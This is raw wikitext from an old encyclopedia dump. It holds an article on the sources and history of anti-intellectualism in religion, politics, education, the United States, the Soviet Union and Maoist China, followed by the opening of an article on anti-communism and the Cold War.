Anti-intellectual beliefs can come from a variety of sources.  These include:

=== Religion ===

Although most [[religion]]s have rich intellectual traditions, many often rely on [[argument from authority|arguments from authority]] that are not indepedently verifiable, along with a somewhat common tendency to reject secular critical traditions. 

The [[Evangelicalism|Evangelical]] and [[fundamentalism|fundamentalist]] wings of a religion are the most likely to harbor anti-intellectual sentiments, though not all such groups can be described in this way and many pride themselves on their scholarly traditions. 

Some religions have [[doctrine]]s that affirm statements about [[natural history|natural]] or human [[history]], the [[provenance]] of [[sacred text]]s, and other matters that may be investigated by outside [[scholarly method|scholarship]]; this can give rise to conflict. However, religious anti-intellectualism is not confined to hostility against science: When [[bohemianism]] and [[romanticism]] become major factors in the fine arts, religious believers may perceive these trends to be subversive of [[morality]] and call for [[censorship]]. This has been a fairly common theme in socio-cultural trends in the Americas and Europe since the time of the [[Protestant Reformation|Reformation]]. Some would argue, however, that this is just moral conservatism, which is distinct from anti-intellectualism, though the two positions are allied in many cases.

=== Authoritarian politics ===

Anti-intellectualism is often used by [[dictators]] or those seeking to establish [[dictatorships]]. The educated class has often been seen by totalitarian elements as a threat because of the tendency of intellectuals to use logic and reason to question situations they see as unjust. Thus, often violent anti-intellectual backlashes are common during the rise and rule of oppressive political movements, such [[fascism]], [[communism]] and [[theocracy]]. Because many intellectuals refuse to identify with [[nationalism]], they are also commonly portrayed as [[patriotism|unpatriotic]]. 

The most extreme dictatorships, such as that of the [[Khmer Rouge]], simply liquidated intellectuals as a class, while other regimes, like [[Iran]], use a policy of harassment, intimidation and sporadic imprisonment and execution against intellectuals. In addition, intellectuals in countries ruled by authoritarian governments are often subject to popular condemnation and used as scapegoats to divert the anger of the public away from those in power. Anti-intellectualism is not necessarily violent however, and not necessarily oppressive. Anti-intellectual attitudes can be held by any group, including non-violent ones, as well as by individuals who merely disfavor intellectualism and learning in general.

=== Populism ===

[[Populism]] is another major strain of anti-intellectualism.  Intellectuals are presented as [[elitism|elitists]] and tricksters whose knowledge and [[rhetoric|rhetorical]] skills are feared, not because they are useless, but because they may be used to hoodwink the ordinary people, who are conceived of as the 'salt of the earth' and the source of virtue.

In a similar vein, the curiosity and objectivity of intellectuals about foreign countries and beliefs is portrayed by populists as a lack of [[patriotism]] or [[moral clarity]], and intellectuals are often held to be suspect of holding dangerously foreign, possibly subversive, opinions.  This kind of anti-intellectualism is common in the United States and in an extreme form was embodied by [[Joseph McCarthy]], the fanatically [[anti-Communism|anti-Communist]] [[U.S. senator|senator]] from [[Wisconsin]].

=== Corporate culture ===

[[Corporation|Corporate]] culture in modern times has demonstrated a general preference for '[[pragmatism]]', and this is an occasional source of hostility toward learning.  The idea here is that education is a costly and useless distraction from the more important business of making [[money]]. Reading and writing are solitary ventures, and according to this viewpoint these activities do little to make a person more affable or conventional, and does not foster an aptitude for [[marketing]] or acumen for [[investment]] in profitable ventures.  It is feared that intellectuals may acquire [[ethics|ethical]] and [[politics|political]] ideas that may impede business or make its practices distasteful. Scientific and [[technology|technological]] learning may be given a grudging respect; but the [[art|arts]], [[literature]], [[philosophy]], and similar [[culture|cultural]] pursuits are all considered a waste of time at best and subversive at worst.  Those who pursue them are supposed to inhabit an '[[ivory tower]]' of [[academy|academia]], full of grand plans whose practice is seen as impossibly flawed. 

According to this view, education should be a sort of [[apprentice]]ship, rather than being done on the model of [[classical education]] based on [[Greek language|Greek]] and [[Latin]] [[grammar]] and literature.  The educational [[philosophy]] of [[John Dewey]], founded on these assumptions, has had some influence on education in the USA, although it must be said that Dewey was also a philosopher and an atheist - two qualities guaranteed to raise suspicions among anti-intellectuals.

==Issues within the educational system==

The educational system may serve as a powerful tool for forming the culture of a nation.  In the English speaking world, particularly in the [[United States|USA]] and [[England]], the schools and universities have often been criticized for being overtaken by overtly anti-intellectual trends and hence not preparing the youth properly to be members of society who would  be cultured, prepared for challenging jobs, and capable of independent thought.

====In primary and secondary schools====

In schools there is often seen to be a lack of emphasis on mathematics and the sciences, accompanied by the rewriting of [[history]] curricula to de-emphasize facts in favor of political agendas, which may be either left-wing, such as [[political correctness]], or right-wing [[nationalist]] narratives.  Such critics would say, for example, that not teaching students [[multiplication table]]s in [[primary school]] and not making sure that they learn [[algebra]] by graduation is a blatant example of anti-intellectualism and malfeasance on the part of many schools.  They would similarly criticize allowing students to graduate without learning the key facts about their country's national [[history]], or without having read any [[William Shakespeare|Shakespeare]].

Many critics of anti-intellectualism would also suggest the push to teach [[creationism]] (or [[Intelligent Design]]) over [[evolution]] is an example of anti-intellectualism.

=====The demands of youth culture=====

A major preserve of real, though hardly militant or even self-aware anti-intellectualism in the contemporary world is a youth subculture often associated with those students who are more interested in social life or athletics than in their studies.  Such subcultures, often marked by [[cliques]], exist among students of all groups.  Commercial [[youth culture]] also generates a dizzying variety of [[fad|fads]].  Keeping up with the trends is difficult, and their content is frequently criticised by cultural critics of many different persuasions for being simple-minded and pandering to unsophisticated appetites.  Pursuing [[popularity]] has been likened by [[blog]] writer [[Paul Graham]] to a full time job that leaves little time for intellectual interests.

In the current of anti-intellectualism among [[African American]] youth is the perception that focusing on school studies means &quot;acting white&quot;.  Authors associated with this view include [[John McWhorter]], whose book ''Losing the Race: Self-Sabotage in Black America'' (Harper, 2001, ISBN 0060935936) collects narratives and criticizes the cultivation of &quot;[[African-American vernacular English|ebonics]]&quot; as an alternative speech norm, specifically labelling this as an instance of anti-intellectualism.  Conservative commentator [[Dinesh D'Souza]] is also associated with this view. [[Henry Louis Gates]] cited an informal poll in which African-American students in the [[Washington, DC]] area were asked what constituted &quot;acting white&quot;; according to Gates &quot;the top three things were: making [[Grading in the United States|straight A]]'s, speaking [[standard English]] and going to the [[Smithsonian]]&quot;. [http://www.neh.gov/whoweare/gates/lecture.html]  Needless to say, there are plenty of anti-intellectual white students also, especially among the rural contingent and the children of the [[The Theory of the Leisure Class|leisure class]].

[[Image:Astevenson.jpg|frame|[[Adlai Stevenson]] was called an &quot;[[egghead]]&quot; by [[Richard Nixon]] during the [[U.S. presidential election, 1952|1952 US presidential race]].]]

====In colleges====

In the realm of [[higher education]] concerns are generally threefold: 

=====Political bias=====
One type of criticism is based upon the perception that university professors and other academicians have increasingly inculcated their own political ideologies into pedagogical interactions and professional research at the cost of the quality, objectivity, and appropriateness of each. This claim is more often made by those individuals on the conservative side of the American political spectrum against political [[liberals]], as understood in a contemporary sense of the term. Whether this focus on the proverbial &quot;ivory tower left&quot; is deserved is, rather unsuprisingly, the subject of much intense debate both within the [[Academy]] and various political spheres.

Generally, these criticisms are brought up against persons working within the field of the [[Humanities]] -- especially a set of the Humanities falling under the large subdivision of the [[Social Sciences]]. Among the fields most contested are [[Women's Studies]], [[Cultural Studies]], [[Ethnic Studies]] or [[race relations|Racial Studies]], some divisions of academic [[History]], and [[Political Science]]. Whether such field-specific attention is deserved is, once again, the subject of much intense debate.

When the criticism of political bias is set in the context of American [[liberals]] vs. American [[conservatives]], as it often is, the dialogue between the two sides can become rapidly polemical. One finds conservative critics called &quot;anti-intellectuals&quot; as they attempt to bring the charge of political bias against various liberals even as the accused liberals are charged with such things as &quot;re-writing history&quot;; the fairness or each party's assertion must be recognized to vary from case to case.

=====Deficient programs=====
Another major concern centers around the perceived lack of general education in college curricula. Critics claim, for example, that college students ought to take more [[humanities]] classes, such as history or literature, along with the requirements of their major. Allegedly, there is also a deficiency of [[academic rigor]] in the university liberal arts programs that are available to students, stemming from the aformentioned political bias, which is said to lead professors to concentrate on trendy and controversial subjects to the neglect of what is considered legitimate art and literature.  

Notably, the [[humanities]] requirements in [[United States|American]] colleges are actually much greater than in many other countries, such as [[Russia]] or [[India]] where [[college]] instruction is focused almost entirely on professional, often technical, preparation.  It may be argued that in these countries it is generally believed [[high school]] education has given a student sufficient exposure to general education topics.

=====Lack of usefulness=====
A third line of criticism, sometimes seeming to contradict the second, is the absence of 'real life' usefulness from the study of humanities. This has also contributed to anti-intellectualism, particularly among those who study, or have studied, [[technical]] subjects.  This is sometimes considered more of a 'rival-intellectualism' rather than true anti-intellectualism, in as much as people who have received university-level technical training have themselves engaged in an intellectual activity of great complexity. An old joke among engineers, encapsulating this viewpoint, is that teaching students literature prepares them to become future professors of literature, and not much else.

== Anti-intellectualism in the United States ==

===19th Century culture===
19th century [[popular culture]] is important in the history of American anti-intellectualism.  At the time when the vast majority of the population was involved in [[manual labour|manual labor]], and most of the population was [[rural]] and engaged in [[agriculture]], bookish education, which at the time focused on [[classics]], was seen to have little value.  It should be noted that Americans of the era were generally very literate and, in fact, read [[William Shakespeare|Shakespeare]] much more than their present-day counterparts. However, the ideal at the time was an individual skilled and successful in his trade and a productive member of society; studies of [[classics]] and [[Latin]] in colleges were generally derided.

The 19th century predominantly valued the self-reliant and &amp;quot;self-made man,&amp;quot; schooled by [[society]] and by experience, over the [[intellectual]] whose learning was acquired through books and formal study.  In [[1843]], [[Bayard R. Hall]] wrote of frontier [[Indiana]], that &quot;(w)e always preferred an ignorant bad man to a talented one, and hence attempts were usually made to ruin the moral character of a smart candidate; since unhappily smartness and wickedness were supposed to be generally coupled, and incompetence and goodness.&quot; Still, there was a possibility for redemption if the &quot;egghead&quot; embraced common mores. A character of [[O. Henry]] noted that once a graduate of an [[East Coast of the United States|East Coast]] [[college]] gets over being vain, he makes just as good a [[cowboy]] as any other young man.    

The related stereotype of the slow-witted naïf with a heart of gold, which became popular in 19th century stage shows, still reappears in American culture, recently in the [[1985]] novel and [[1994]] motion picture ''[[Forrest Gump]]''.

===Right-wing currents===

====Conservative critiques of academia====
[[William F. Buckley, Jr.]] once remarked that he'd rather be governed by the first hundred names in the phone book than by the [[Faculty (university)|faculty]] of [[Harvard University]], and many other conservatives have displayed similar disdain for [[academia]]. Institutions such as [[Harvard University|Harvard]], [[Princeton University|Princeton]], [[Yale University|Yale]], and various other prestigious colleges have been portrayed on the right as centers of a radical and anti-American leftism. [[Robert Warshow]] has put forth the hypothesis that the [[Communist Party USA|Communist Party]] became central to American intellectual life during the [[1930s]]: 

:''For most American intellectuals, the Communist movement of the 1930s was a crucial experience.  In Europe, where the movement was at once more serious and more popular, it was still only one current in intellectual life; the Communists could never completely set the tone of thinking. . . . But in this country there was a time when virtually all intellectual vitality was derived in one way or another from the Communist party.  If you were not somewhere within the party’s wide orbit, then you were likely to be in the opposition, which meant that much of your thought and energy had to be devoted to maintaining yourself in opposition.''[http://www.fas.org/sgp/library/moynihan/appa7.html]&lt;!--Moynihan Commission Report, quoted from Robert Warshow, ''The Legacy of the 30’s: Middle-Class Mass Culture and the Intellectuals’ Problem,'' Commentary Magazine (December 1947): 538, footnote 103.--&gt;

Most observers belive that, while Warshow's criticism might have validity when applied to the Depression Era, it is not supportable today to claim that campus liberals form a hidden Communist or otherwise subversive force in America. Still, many conservatives and other anti-intellectuals continue to argue this general point.

====Religious fundamentalism====
Much modern American anti-intellectualism originates from the commonly held view among conservative [[Christianity|Christians]] that [[education]] subverts religious belief. The validity of this view, in fact, was well substantiated by the spread of [[atheism]] and [[Deism]] among the educated during the [[The Age of Enlightenment|Enlightenment]], and was deep-rooted even before that time. Hence, for instance, the [[New England]] [[Puritan]] writer [[John Cotton]] wrote, in [[1642]], &quot;The more learned and witty you bee, the more fit to act for [[Satan]] will you bee.&quot; 

[[Image:Cartoon.jpg|thumb|200px|[[Political cartoon]] criticizing rural attitudes towards Evolution]]

Many Christian thinkers, while not considering [[education]] an inherent evil, object to some of its perceived un-Christian aspects, for example alleged anti-religious, pro-[[abortion]] and pro-[[gay rights]] propaganda in public schools and colleges. Sex education classes, the study of evolution in biology classrooms, and the promotion of &quot;tolerance,&quot; seen as a code word for officially sanctioned sexual deviance, come in for particular attack from these quarters. A good number regard the public education system as being by and large a system of anti-Christian state indoctrination controlled by atheistic elites.

===Left-wing currents===

====1960s student culture====
Especially in the [[1960s]] many student demonstrators romanticized the impoverished populations of [[Appalachia]] and the [[Mississippi Delta]]. The lack of formal education in these regions was seen as a sort of freedom from &quot;conformist&quot; society that allowed one to lead a more genuine and worthy life. The sanitized version of [[folk music]] that became popular on campus around this time is a related trend. 

The anti-war movement also despised the highly educated but cold-hearted Washington technocrat, epitomized by [[Robert McNamara]], who was alleged to make decisions soley on numbers and probablities and could not see individual lives or deaths as anything but statistics. The Vietnam [[body count]] was offered as an example of this inhuman intellectualism.

Also, some on the extremes of the student movement were heavily influenced by [[Maoism]] which has a strong anti-intellectual component.

====The intellectual as paid apologist for the status quo====

Many on the left have pointed out that the intellectual's status as a &quot;professional thinker&quot; requires the support of a member of the ruling class willing to cut their checks. Therefore, most intellectuals, in order to maintain their profession, must assume a subservient posture towards the current power structure even when their ideas are outwardly &quot;radical.&quot; These critics point out that many a tenured professor has called for revolution, but few have ever taken concrete steps to promote one. This has the effect of discrediting the idea of social change by associating it with hypocritical academics, thereby serving the status quo.

In return for their rhetorical services, so this theory goes, intellectuals are rewarded with the power to set themselves up as the social betters of the proletariat and are given a measure of control over  how normal people live their lives. In addition, when government actions go awry, intellectuals provide rulers with a convenient scapegoat - those who were paid to promote the policy can easily be blamed for creating it. 

Although not a leftist thinker, [[Eric Hoffer]] is closely associated with this view of intellectuals. He compared them to the scribes that directed the constrcution of the Pyramids - seemingly authoratitive figures who were in reality puppets of the Pharaoh.

====Current themes====
More recently Democrats and liberals have become extremely suspicious of the [[neoconservative]] movement, which they often portray as a &quot;cabal&quot; of ivory-tower theorists who cause disaster when they gain power and try to put their abstract ideas into practice. The radical deregulation of the economy, tax cuts at at time of war, and the program to rapidly democratize the [[Middle East]] through military means are cited as examples of this.

Some even believe that neoconservatism is a front for a secret group that follows the teachings of the anti-democratic philosopher and intellectual [[Leo Strauss]].

All of this lends to the portrait of neocoservatism as a sinister party of academics carelessly testing elitist theories on the suffering &quot;ordinary people&quot; of America.

===Economic factors===
In the past five to ten years once-plentiful high-tech and skilled technical jobs have begun to disappear from America, and have been replaced with low-wage service occupations which at most require a high school diploma. Therefore the economic incentive to attend college, where one might be exposed to intellectual ideas, has lessened. There thus exists the potential for increased anti-intellectualism in the future. However, statistics indicate that currently in the United States half the adult population has at least some college experience and one-third of that population are graduates.

===In American political discourse===
America, more than other developed nations, has been accused of suffering from anti-intellectualism, particularly by the [[American liberalism|liberal]] [[literati]] both in the [[United States]] and in [[Europe]].  Such accusations are particularly fueled by the political schism between the [[United States Republican Party|Republican]] and [[United States Democratic Party|Democratic]] parties. The less scrupulous contenders on both sides use the accusation of anti-intellectualism as a rhetorical weapon, but most often it is Democrats that accuse Republican backers of exploiting public sentiments against the values of the cultural elite for their own economic gain.

Many Democrats and liberals claim that [[conservative]] beliefs about foreign affairs or [[economics]] stem from &quot;ignorance,&quot; poor education, and a &quot;lack of awareness&quot; of the substantive issues involved, and as such are anti-intellectual. The liberal position often contends that conservative ideology has a tendency to approach issues such as morality and foreign policy in &quot;simplistic&quot; ways, breaking them down into easily understood confrontations between good and evil. The left views its own ideology as more sophisticated and worldly, and based on an interpretative study of human history. Conservatives have countered by claiming that it is liberals who are the true anti-intellectuals, relying on irrational and over-emotional arguments when debating poverty, [[civil liberties]] and, especially, the [[Israeli-Palestinian conflict]].

====In the media====
In the [[2000 Presidential Election]], the media (particularly late night comics) portrayed Candidate [[Al Gore]] as boring &quot;[[brainiac]]&quot; who spoke in a monotonous voice and jabbered on about numbers and figures that no one could understand. It was also widely reported - erroneously - that Gore had claimed to have invented the Internet. It was the classic stereotype of a pompous, out-of-touch intellectual, and this perception arguably hurt Gore in the election. In the years since, debate between the left and right in America has often centered on the relation of the intellectual class to the public as a whole.

Conservative commentators such as [[Ann Coulter]], [[Bill O'Reilly (commentator)|Bill O'Reilly]] and [[Rush Limbaugh]] commonly argue that conservative politicians, particularly [[Ronald Reagan]] and [[George W. Bush]], have been unjustly attacked by a liberal media as being &quot;incompetent&quot; - this can be understood as an accusation of intellectual snobbery by the media. O'Reilly in particular is well known for having a hostile attitude towards what he calls the &quot;[[Ivy League]] Elite.&quot; The word &quot;intellectual&quot; itself has been used as an insult by many on the right.

Both O'Reilly and Limbaugh, as well as other conservative hosts such as [[Tucker Carlson]], and [[Joe Scarborough]], are frequently accused of having anti-intellectual atmospheres on their shows, evidenced by their frequent interruption of guests who try to put forward complex arguments. Scarborough once commented that &quot;If my guest is allowed to speak uninterrupted for more than 15 seconds, then I'm not doing my job&quot;. 

While some on the left claim this represents a right-wing bias in the American media, other analysts feel it merely shows that the media, in the service of higher ratings, has a tendency to promote argument and spectacle rather than informed debate 

=====Sensationalism=====
Indeed, there is a strong feeling on both sides of the political divide that corporate news focuses too much on soundbytes and headlines, and not enough on in-depth reporting. Researchers have noticed a trend in the amount of coverage newspapers and broadcast networks devote to various subjects: World events and political coverage are receiving a declining percentage of print space and airtime, while crimes, sex scandals, and celebrity intrigue take up more and more space. 

This trend is clearly visible on cable television as well. For example, [[The History Channel]], [[The Discovery Channel]] and  [[The Learning Channel]] have shifted from airing purely documentary and informational content to devoting a large portion of their programming to makeover specials, home-remodling shows, and programs focused on muscle cars and motorcycles.

This is cited as proof of a shift in American media that is undoubtedly anti-intellectual even though it is not rooted in any political or cultural bias.

==Anti-intellectualism in the former Soviet Union==

In the [[Soviet Union]], within the first decade after the Revolution of 1917, the [[Bolsheviks]] generally scorned and suspected the educated as potential traitors to the cause of the proletariat.  Whereas the core of the [[Communist]] Party was well-educated, the people who became local activists and officials in [[government]] and [[industry]] often lacked at least formal education and disdained those who had it.  [[Lenin]] once called the [[intelligentsia]], particularly those who opposed him, &quot;rotten&quot; and &quot;shit&quot;.  The boast, roughly translated as &quot;we ain't completed no academies&quot; (&quot;мы академиев не кончали&quot;) became a byword for the new ruling [[elite]].

Later on, the Soviet government came to see education as important and dedicated great resources to literacy, on the one hand, and higher and professional education, on the other.  However, as a matter of social policy, the government sought to promote the [[working class]] over an intellectual élite.  Accordingly, industrial workers often received greater salaries than university-trained professionals such as [[teacher]]s, [[medical doctor|doctor]]s, and [[engineer]]s.  Moreover, workers were covertly inculcated with the notion that only the manual labor creates real value in the economy, whereas the educated people just sit around writing papers.  Some critics have seen this policy as anti-intellectual.

It must be stressed, however, that the anti-intellectualism of the Soviet political elite was closely associated with the fact that the Russian academic milieu, as a part of the tzarist state apparatus, had been hostile to the 1917 Bolshevik takeover almost by definition; however, when dealing with practical issues such as economic and scientific menagement, the early Soviet regime had to resort to such &quot;bourgeois experts&quot;, therefore the tense relationship between the Communist Party elite and non-Party educated people. It was only during the early 1930s that [[Stalin]] attempted to do away with the old intelligentsia altogether, and to put a new Party one in its stead. Such favouring of ''partinost'' - that's to say a partisan stance towards all matters intellectual - over formal scholarship, no matter how crude such partisan stance happened to be - in the end amounted to a clear anti-intellectual stance.   

The Soviet treatment of science is an example of anti-intellectualism - the triumph of [[Lysenkoism]] in Soviet Russia was a result of political bullying of scientists and the punishment of dissenters rather than the normal scientific process of publishing one's findings. Soviet promotion of this [[pseudoscience|pseudoscientific]] idea has been compared to the recent statements in favor of [[creationism]] by the current American political leadership.

==Anti-intellectualism in Asia - Maoist China and Cambodia==

In [[Maoist]] [[China]] during the [[Cultural Revolution]], a revolutionary transformation of all aspects of life, including education, was attempted.  University education in particular was moved away from the generation of highly specialized experts, who were seen as constituting a self-interested [[social class|class]] divorced from the rest of society, and into the service of the masses.  Training programs were accelerated and connected to the practical needs of productive work and socialist development.  Some universities were closed for several years during the transformation.  At the same time, primary and secondary education were greatly expanded in rural China, and urban students were encouraged or required to spend some time in the countryside, both to teach the peasants and to learn from them.  Critics have charged that the practice of curtailing and transforming university education and sending students to the countryside was anti-intellectual.  In the view of the Chinese government, however, state-funded education should be made to serve first and foremost the needs of the society at large.  A poor country with a mostly rural population, it argued, had more need of general, practical education for many than of highly specialized education for a few.

In [[Cambodia]], a country in which few people have access to formal education (the literacy rate is about 50% as of 2004), the [[Khmer Rouge]] regime (1975&amp;ndash;1979) was generally disdainful of intellectuals and saw many as enemies or traitors (see also: [[Khmer Rouge]] and [[Democratic Kampuchea]]). In some sectors anyone who wore glasses was shot by Khmer guards, as glasses were seen as a mark of education and intellectualism.

==Anti-intellectualism in the classical world==

The [[Roman Republic|Roman]] statesman [[Cato the Elder]]'s public career displayed many traits that today would be considered anti-intellectual.  He vehemently opposed the introduction of [[ancient Greece|Greek]] cultural ideals and models into the Roman republic, believing them to be subversive of traditional plainspokenness and rugged military values.  He urged the [[Roman Senate]] to pass its decree against the newly imported [[Bacchanalia]]n [[mystery religion|mysteries]], which it did in the ''Senatus consultum de Bacchanalibus'' in [[186 BC]].  He urged the deportation of three [[Athens|Athenian]] philosophers, [[Carneades]], [[Diogenes]], and [[Critolaus]], who had been sent to [[Rome]] as [[ambassador]]s from Athens, on the grounds that he found the opinions they expressed were dangerous. The Emperor [[Augustus]] also exiled many philosophers.

However, rulers in the ancient in classical world were generally intolerant of anyone who disagreed with them. Anti-intellectualism as hostility by self-identified &quot;common&quot; people, or those that claim to speak for them, against a ''perceived class'' of cultural elites is generally considered a modern phenomenon.

==A loaded term?==

Not surprisingly, intellectuals commonly use allegations of anti-intellectualism as a charge against their critics.  Critics of certain intellectuals in turn argue that &quot;anti-intellectualism&quot; is itself a [[loaded term]].  The term 'intellectual' implies knowledge, wisdom, and intelligence, and thus to be called 'anti-intellectual' can often be perceived as meaning one favours ignorance or [[stupidity]].

Sometimes criticism of intellectuals can take the form of a specific critique of an intellectual's specific field of study or theory.  Not all 'intellectual' theories are correct, and thus an intellectual's beliefs can be disputed without necessarily being against the larger concept of intellectual study.

== See also ==
* [[Anti-science]]
* [[Boffins|Boffin]]
* [[Creation-evolution controversy]]
* [[Geek]]
* [[God complex]]
* [[Lysenkoism]]
* [[Nerd]]
* [[Philistinism]]
* [[Post-Autistic Economics]]
* [[To burn the classics and to bury the scholars]]

== References ==

*''Anti-Intellectualism in American Life'', by [[Richard Hofstadter]]: ISBN 0394703170
*Hinton, William. ''Hundred Day War: The Cultural Revolution at Tsinghua University''. New York: New York UP, 1972. ISBN 0853452814.
*[http://www.fas.org/sgp/library/moynihan/appa7.html Moynihan Commission Report, Appendix A, 7. The Cold War, footnote 103] quoted from Robert Warshow, ''The Legacy of the 30’s: Middle-Class Mass Culture and the Intellectuals’ Problem,'' Commentary Magazine (December 1947): 538.

[[Category:Academia]]
[[Category:criticisms|Intellectualism]]

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  <page>
    <title>Anti-communism</title>
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      <contributor>
        <username>Trovatore</username>
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      <comment>rvv</comment>
      <text xml:space="preserve">'''Anti-communism''' is the opposition to [[communism|communist]] ideology, organization, or government, on either an [[ideology|ideological]] or [[pragmatism|pragmatic]] basis. Anti-communism is a catch-all phrase which defines any opposition to communism as a [[philosophy|philosophical]] basis for a political and social alliance.

The term came to have a global meaning during the [[Cold War]], when the powers of [[Western society]] sought to coordinate an opposition to the apparent [[militarism|militarist]] expansion of the [[Soviet Union]]. For much of the period between [[1950]] and [[1991]] anti-communism was one of the major components of the [[Origins of the Cold War#Containment|containment]] policy of the [[United States]].

Anticommunism in Europe is often associated with the struggle for [[democracy]] and [[civil rights]]. To [[Communist]] supporters the term represents [[Fascism]] and other governments that they consider to be as horrible.

==Background==
[[Image:Hitlermusso.jpg|250px|thumb|[[Benito Mussolini]] and [[Adolf Hitler]] forged the anticommunist [[Anti-Comintern Pact]] and were the two most notable anticommunist leaders of the 1930s and 1940s]]

Today, many liberal anti-communists object to the lack of individual freedom in [[Communist states]], criticize the way in which the concept of democracy is interpreted by communists very differently than in Western [[liberal democracy]], and critique the socialist economic programs proposed by communists.

Many communists rebut this criticism by saying that democracy is actually essential for a planned economy to prevent what many more left-winged communists call &quot;[[state-capitalism]]&quot;, in which they say a [[dictatorship]] would act just as oppressive to the workers as the corporations in [[capitalism]].

After the [[Russia]]n [[October Revolution]] in [[1917]], critics of communism were inspired to resist communist ideology from a [[conservatism|conservative]] point of view. With the advent of [[Stalinism]] in the [[1920s]], many liberal communists, [[Trotskyism|Trotskyists]], and [[social democracy|social democrats]] opposed the [[Soviet Union]] for its alleged violations of human rights, thus anti-communism became common on both the [[Left-wing politics|Left]] and [[Rightism|Right]] of the [[political spectrum]].

==Types of Anti-Communists==
The reasons that different people have opposed communism can be very different. Conservative and liberal critics of communism often oppose Marxism or even [[socialism]] in general. They see communism as a doctrine based on radical, and incorrect, arguments. They believe that [[capitalism]] gives economic freedoms to everyone (whereas the communists believe only the [[bourgeoisie]] [''see'' [[Marxism]]] have economic liberties over the [[proletariat]]), and regard the lack of [[property rights]] under communism as a violation of their conception of [[human rights]]. 

Other people oppose communism due to contradictions or errors within the communist theory and gaps between communist theory and practice. Many anti-communists feel that the theory is less objectionable than its adherents' actions in power. Democratic socialists as [[George Orwell]] or [[Bertrand Russell]] and [[anarcho-socialism|anarcho-socialist]] theorists such as [[Noam Chomsky]] see communism as a doctrine whose aims are noble in theory but which fails to attain them in practice.

==Fascism and Anti-Communism==
{{Main|Anti-Comintern Pact}}

[[Fascism]] and &quot;Soviet&quot; [[communism]] are political systems that arose to prominence after [[World War I]]. Historians of the period between World War I and [[World War II]] such as [[E.H. Carr]] and [[Eric Hobsbawm]] point out that [[liberal democracy]] was under serious stress in this period and seemed to be a doomed philosophy. The success of the [[Russian Revolution of 1917]] resulted in a brief revolutionary wave across Europe, in Germany and Hungary in particular. The socialist movement worldwide split into separate [[social democratic]] and [[Leninist]] wings with the formation of the [[Third International]] prompting severe debates within social democratic parties resulting in supporters of the Russian Revolution splitting to form [[Communist Parties]] in most industrialised (and many non-industrialised) nations. The acceptance of the war by the social democratic parties gave the communist parties credibility with many people, as a result of them labelling it as being [[imperialism|imperialist]].

At the end of World War I there were attempted socialist uprisings or threats of socialist uprisings throughout Europe. Most notably in Germany where the [[Spartacist uprising]] in Germany led by [[Rosa Luxemburg]] and [[Karl Liebknecht]] in January 1919 failed. In Bavaria, Communists successfully overthrew the government and established the [[Munich Soviet Republic]] that lasted from 1918-1919. A short lived Soviet government was also established in Hungary under [[Béla Kun]] in 1919.

The Russian Revolution also inspired attempted revolutionary movements in Italy with a wave of factory occupations, a strike wave in Britain, the [[Winnipeg General Strike]], the [[Seattle General Strike]] and other radical events.

Many historians view fascism as a response to these developments -- a movement that both tried to appeal to the [[working class]] and divert them from [[Marxism]] and also appealed to [[capitalists]] as a bulwark against [[Bolshevism]]. Italian fascism founded and led by [[Benito Mussolini]] took power with the blessing of Italy's king after years of leftist unrest led many conservatives to fear that a communist revolution was inevitable. Throughout Europe numerous [[aristocracy|aristocrats]] and [[conservative]] intellectuals as well as capitalists and industrialists lent their support to fascist movements in their countries which arose in emulation of Italian fascism while in Germany numerous right wing nationalist groups arose, particularly out of the post-war [[Freikorps]] which were used to crush both the Spartacist uprising and the Munich Soviet.

However, certain anti-communist authors have disputed the view of fascism as a reaction against socialist revolutionary movements and instead stressed what they believed to be essential similarities between communism and fascism in both theory and practice. The noted [[Austrian School]] [[economist]] [[Friedrich Hayek]], author of ''[[The Road to Serfdom]]'', argued that various modern [[totalitarian]] movements, including fascism and communism, have common philosophical roots, both springing from the opposition to the [[classical liberalism]] of the 19th century. Anti-communists arguing from these positions see it as far more than a coincidence that [[Benito Mussolini]] himself was an enthusiastic [[Marxist]] socialist and a prominent member of the Italian Socialist Party before the [[World War I]], while many philosophical founders of fascism, such as [[Sergio Panunzio]] and [[Giovanni Gentile]], came from a Marxist or [[syndicalist]] background.

With the worldwide [[Great Depression]] of the 1930s it seemed that liberalism and the liberal form of capitalism was doomed and communist and fascist movements swelled. These movements were bitterly opposed to each other and fought each other frequently. The most notable example of this conflict was the [[Spanish Civil War]], which became a [[proxy war]] between the fascist countries and their international supporters who backed [[Francisco Franco]] and the worldwide Communist movement (allied uneasily with [[anarchists]] and [[Trotskyists]]) who backed the [[Popular Front]] and were aided chiefly by the [[Soviet Union]].

Initially, the [[Soviet Union]] supported the idea of a coalition with the western powers against [[Nazi Germany]] as well as [[popular front]]s in various countries against domestic fascism. This policy was largely unsuccessful due to the distrust shown by the western powers (especially Britain) towards the Soviet Union. The [[Munich Agreement]] between Germany, France and Britain heightened Soviet fears that the western powers were endeavoring to force them to bear the brunt of a war against Nazism. The Soviets changed their policy and negotiated a non-aggression pact with Germany, known as the [[Molotov-Ribbentrop Pact]] in 1939. The Soviets later argued that this was necessary to buy them time to prepare for an expected war with Germany. However, some critics question this claim, pointing out that along with a non-aggression clause, the pact also laid out extensive economic cooperation between the Soviets and Germans, in the form of the [[German-Soviet Commercial Agreement]], providing Nazi Germany some of the materials it needed to build its war machine. This detail is used by the aforementioned critics to argue that Stalin expected the war to be waged solely between Germany and the Western Allies, with the Soviet Union keeping its neutrality while its two greatest enemies fought each other.

Whatever the case, it is clear that Stalin did not expect the Germans to attack until 1942, so he was taken by surprise when Nazi Germany invaded the Soviet Union in June 1941, with [[Operation Barbarossa]]. Fascism and communism reverted to their relationship as lethal enemies - with the war, in the eyes of both sides, becoming one between their respective ideologies.

==Anti-communism in the United States and Cold War==
The first major manifestation of anti-communism in the [[United States]] occurred [[1919]]-[[1920]] in the [[Red Scare]] led by Attorney General [[Alexander Mitchell Palmer]].

Following [[World War II]] and the rise of the [[Soviet Union]] many of the objections to Communism took on an added urgency because of the stated Communist view that the ideology was universal.  The fear of many anti-Communists within the United States was that Communism would triumph throughout the entire world and eventually be a direct threat to the government of the United States. This view led to the [[domino theory]] in which a communist takeover in any nation could not be tolerated because it would lead to a [[chain reaction]] which would result in a triumph of world communism. There were fears that powerful nations like the Soviet Union and the [[People's Republic of China]] were using their power to forcibly assimilate other countries into communist rule, in a new form of [[Imperialism]]. The Soviet Union's expansion into [[Central Europe]] after World War II was seen as evidence of this. These actions prompted many politicians to adopt a kind of [[pragmatism|pragmatic]] anti-Communism, opposing the ideology as a way of limiting the expansion of the [[Soviet Empire]]. The US policy of halting further communist expansion came to be known as [[containment]].

